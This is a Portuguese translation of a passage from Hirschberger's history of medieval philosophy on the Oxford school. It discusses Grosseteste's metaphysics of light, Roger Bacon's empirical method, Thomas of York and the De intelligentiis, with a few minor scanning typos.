HISTÓRIA DA FILOSOFIA NA IDADE MÉDIA
Johannes HIRSCHBERGER
Fonte: Ed. Herder
Trad. Alexandre Correia
- Índice
- Prolegômenos
- Filosofia Patrística
- A Filosofia Escolástica
- Generalidades
- A Primitiva Escolástica
- A Alta Escolástica
- A Escolástica Posterior
- Nicolau de Cusa: Idade Média e Idade Moderna
C. As Ordens
De grande importância foi além disso a vida
científica nas duas ordens — dos franciscanos e dominicanos. Tinham os seus
grandes estudos monásticas em Oxônia (Oxford), Roma, Nápoles, Colônia e
formavam aí esplêndidos seminários de eruditos. Além disso os Papas lhes
criavam cátedras também nas universidades. Boaventura
como Tomás foram professores
em Paris. Isso não se deu sem oposições. Mas na luta com o clero secular que,
aparentemente, temia a concorrência; como na luta das ordens entre si — os dominicanos
tomando o partido de Aristóteles e
os franciscanos o da antiga tradição platônico-agostiniana — foi, como
freqüentemente sucede, a guerra a mãe de muitas cousas.
1 — A ESCOLA OXONIENSE MATEMÁTICA E
CIÊNCIAS NATURAIS
Começamos a exposição da alta escolástica com a
escola oxoniense, porque aí é mais forte a continuidade com a antiga tradição;
e depois para logo ir ao encontro do preconceito muito generalizado de ser toda
a alta escolástica uma repetição servil da filosofia de Aristóteles. Em Oxônia se conhece Aristóteles; o fundador da escola foi
um dos seus grandes tradutores; mas cultiva-se aí o aristotelismo com espírito
crítico. Por isso se é tanto mais aberto para os conhecimentos científicos
naturalistas dos árabes, cultiva-se a herança de Chartres e se estimula o
estudo da Matemática e da Física, pelo que se tinha em Paris pouco interesse.
Antes de tudo nutre-se uma mentalidade empírica, o que será sempre a
característica da filosofia inglesa, embora, nas posições fundamentais, se
permaneça fiel ao platonismo agostiniano. Os começos de Oxônia se prendem pois
também aos adaís dessa atitude espiritual, aos franciscanos, que, pelo fundador
da escola, Roberto Grosseteste, foram
para lá chamados.
a) Grosseteste
Roberto Grosseteste (1175-1253) foi "um
sábio como nenhum outro, … pois sabia Matemática e óptica e, além disso,
conhecia tantas línguas que podia ler. os Padres e os sábios do passado" (Rogério Bacon). Ensinara no studium oxoniense dos minoritas, foi depois de 1208 cancelário da universidade e,
em 1235, bispo de Lincoln. Tinha particular veneração por Agostinho e Anselmo. Também traduziu do grego, ao lado de outras obras de
Aristóteles, a Ética
Nicomáquica junto com vários comentários. Dele teve Alberto e Tomás o conhecimento de várias palavras gregas. Seus Opuscula
philosophica (editados por L. Baur, nos Beitrage de Baeumker. vol. 9) já traem no título a estrutura científica
do homem: Sobre a luz e a gênese das formas; Sobre as linhas, os ângulos, as
figuras, ou, Sobre a retração e reflexão dos raios solares; Sobro o
arco-íris; Sobre as cores; Sobre os limites do movimento e do tempo etc. (Cf. S. H. Thomson, The writings of Robert
Grosseteste, bishop of Lincoln 1235-253, Cambridge 1940).
α) Metafísica da luz. — Particularmente
característica do pensamento de GRosseteste
é a sua doutrina da luz. Era um velho tema tirado dos neoplatônicos. Com
ela quer GRosseteste contrastar a
metafísica do ser e do devir. A luz é corpo, por certo, mas de tão sutil
substância que se acha colocado entre a realidade e a idealidade. Constitui o
princípio da corporeidade, sua forma. "A luz, pela sua natureza,
dispersa-se para todos os lados, de modo que, de um ponto, nasce uma grande e
bonita esfera luminosa, contanto que a escuridão não venha impedi-la…; pois,
a luz é aquela força que se irradia multiplamente de si e por "si." E
enquanto essa luz se irradia como a forma primeira da corporeidade, ela atrai
para si a "matéria-prima criada, de que não pode separar-se", na
multiplicação dos raios sempre progressiva; e daí nascem os corpos, o mundo e
os mundos. — Em face de toda a tentativa da metafísica neoplatônica da luz, de
fazer derivar, por uma espécie de teoria da descendência, a realidade, da
idealidade, facilmente seríamos levados a nos lembrar da palavra de Kant a respeito dos ignorantes metidos
a metafísicos. Empenham-se numa tão subtil e supersutil matéria, que quase se
desvanece, e então pensam ter descoberto um ser ao mesmo tempo espiritual e
extenso. Mas talvez não passe tudo de uma imagem e seria mais justo pensar no
dinamismo de Boscowich, a se
querer apreender realmente o seu pensamento e tirar-lhe as conseqüências. Seja
como for, GRosseteste, na sua
metafísica da luz, ultrapassando o aristotelismo medieval, prenuncia o
pensamento moderno seguinte. Em vez de se estar sempre a falar da essência
íntima, medir e descrever, com métodos quantitativo-matemáticos, a natureza;
pois nisso vem ter finalmente a Óptica (perspectiva) de Grosseteste, que acompanha a sua teoria
de luz. E esta é a significação de Oxford que, multo tempo antes de Galileu e Descartes, recorria à Física e à Matemática para a
investigação da Natureza, sem se apegar a uma filosofia natural de construção
puramente especulativa.
β) Doutrina do conhecimento. — Em Galileu, como veremos, o método
matemático empírico conjuga-se com a posição idealista, de modo que o processo
do mundo, submetido à medida e ao número, se fixa em valores ideais eternos.
Também para GroSseteste há para
todas as causas uma "exatidão interna só concebível pelo espírito”, e é
a "verdade" delas, verdade ontológica, naturalmente, constitutiva do
fundamento próprio de todo conhecimento. E só há ciência por podermos
atingi-la pelo nosso espírito. Como vemos, é o conceito anselmiano de verdade
que revive, aproveitado para um apriorismo epistemológico-teorético, aliado à
exigência de se dever sempre consultar a experiência.
γ) Deus. — Tudo se coroa com uma
tendência, ou com ela se funde — como se quiser. Deus é forma e mesmo a forma
das formas. Não naturalmente no sentido de ser essa forma uma parte igual a
Deus, em essência, introduzida nas cousas criadas (pars earum substantialis
completiva). Grosseteste se
exprime de modo mais exato que Amalrício.
Deus é forma na acepção de exemplar, conforme o pensou Agostinho, o Areopagita e Anselmo. Na metafísica da luz vem
muitas vezes a expressão emanação, mas sem nenhum sabor panteísta. A
substância da luz é criada por Deus; a transcendência divina fica salva. E é
sobretudo assegurada pela. eternidade divina, por onde se distingue totalmente
das cousas criadas no tempo. Grosseteste
reassume aqui o pensamento agostiniano sobre o tempo e a eternidade e
critica particularmente o pensamento de Aristóteles,
de uma criação eterna. Do mais puro parentesco platônico, nunca
desconhece entretanto o mundo do temporal e as suas exigências. É admirável
esta união de idealidade e realidade nesta primeira forma da filosofia
inglesa.
b) Bacon
A herança de Grosseteste
sobrevive no seu discípulo Rogério
Bacon (ca. 1210-1292), personalidade de pronunciada originalidade.
Rompe os quadros usuais e não se detém na crítica de situações existentes.
Mesmo os homens mais ilustres nas mais elevadas posições, são poupados. Alexandre Halense, Alberto Magno ele os
apoda pura e simplesmente de ignorantes. Foi metido na prisão conventual desde
1271 até pouco antes da sua morte. Sua obra capital Opus mains divide-se
nas sete partes seguintes. Das quatro cansas da ignorância humana; das relações
entre a filosofia e a teologia; da utilidade da gramática e da ciência da
linguagem; da importância da matemática para a física e a teologia; da óptica;
da scientia experimentalis e da filosofia moral.
α) "Método". — O que Bacon toma principalmente a peito é a
teoria da ciência. O seu posterior homônimo Francisco
Bacon dará como tarefa à ciência o que exprime a divisa "saber é
poder"! Também o Bacon medieval
já impõe à ciência o dever servir à vida prática — posição diametralmente
antiaristotélica e "servil" aos olhos da antigüidade e também do
homem medieval, até hoje. Igualmente revolucionária é a sua exigência
concernente ao método, que deve se fundar na experiência. Auctoritas e Deductio acham-se imediatamente conciliadas. E provocou ainda maior agitação nos
espíritos quando denunciou como o pecado dos estudos do seu tempo a idolatria
por uma autoridade caduca e indigna, a continuada rotina, os preconceitos da
turba inexperiente, a dissimulação da ignorância própria e a exibição de uma
ciência aparente. De novo, isto faz lembrar Francisco
Bacon e os seus quatro ídolos.
β) Agostinismo. — Apesar disso Rogério Bacon é um sequaz da velha
tradição agostiniana. Aceita a expressão aristotélica, como era a moda geral,
de intellectus agens, mas o entende num sentido agostiniano: "Deus
é o intelecto que atua em nossa alma, por ocasião de cada conhecimento".
Assim já o tinha pensado o seu mestre. Por onde, de novo se mostra como o
idealismo não deve ser nenhum obstáculo ao saber experimental.
E para compreendermos ainda melhor que nesse
homem o empirismo se manifesta de modo raro na Idade Média, recordemos em
poucas palavras, que ele despertou pensamentos como poderia tê-lo feito só um
técnico moderno: sonhos de automóveis, aviões e aparelhos "com os quais
podemos nos mover, sem nenhum perigo para a- vida, no fundo do mar e dos rios".
c) Tomás de Iorque
Interessante figura oxoniense é também Tomás de Iorque (+ 1260) que aí se
tornou magister em 1253. Dele deriva uma metafísica inspirada em Aristóteles, Avicena, Averróis, Algazel,
Avencebrol e Maimônides. Dá-nos
assim uma impressão convincente da largueza de espírito oxoniense para a recepção
das novas idéias. A filosofia é aí cultivada por si mesma, mais que alhures; e
os problemas metafísicos são submetidos a uma discussão imparcial e ampla. Para
citar apenas alguns temas — o ser como tal e a sua subsistência, as formas do
ser, os princípios e as causas, os transcendentais.
d) O De intelligentiis
A metafísica da luz, representada pelo fundador
da escola oxoniense, inspira também o escrito De intelligentiis de Adão de Puteorumvilla, e por isso deve
ser aqui brevemente assinalado. Foi outrora atribuído por Baeumker ao filósofo da natureza — Witelo. O que o caracteriza é um neoplatonismo
de origem árabe, elementos aristotélicos, influências do Liber de causis e
a antiga tradição escolástica. Trata de Deus como causa primeira, da sua
essência, seu conhecimento, das inteligências superiores, o seu modo de
conhecer e da causalidade delas. A metafísica não começa com o estudo do ser
como tal, mas com a idéia do infinito. Este infinito é a unidade de que toda
multiplicidade participa, vindo assim à existência. Quanto mais próximo da
unidade está um ser tanto mais elevado ou profundo. Não é a ciência natural
oxoniense que inspira esse escrito, mas sim a metafísica da luz. Para a sua
categorização histórico-genética é digna de nota o reclamar-se de Aristóteles, Agostinho, Avicena, o Liber
de causis, Boécio, Gilberto
Porretano. Não cita Roberto
Grosseteste por ser contemporâneo ainda vivo. Mais tarde encontraremos
pensamentos semelhantes com Alberto o
Grande.
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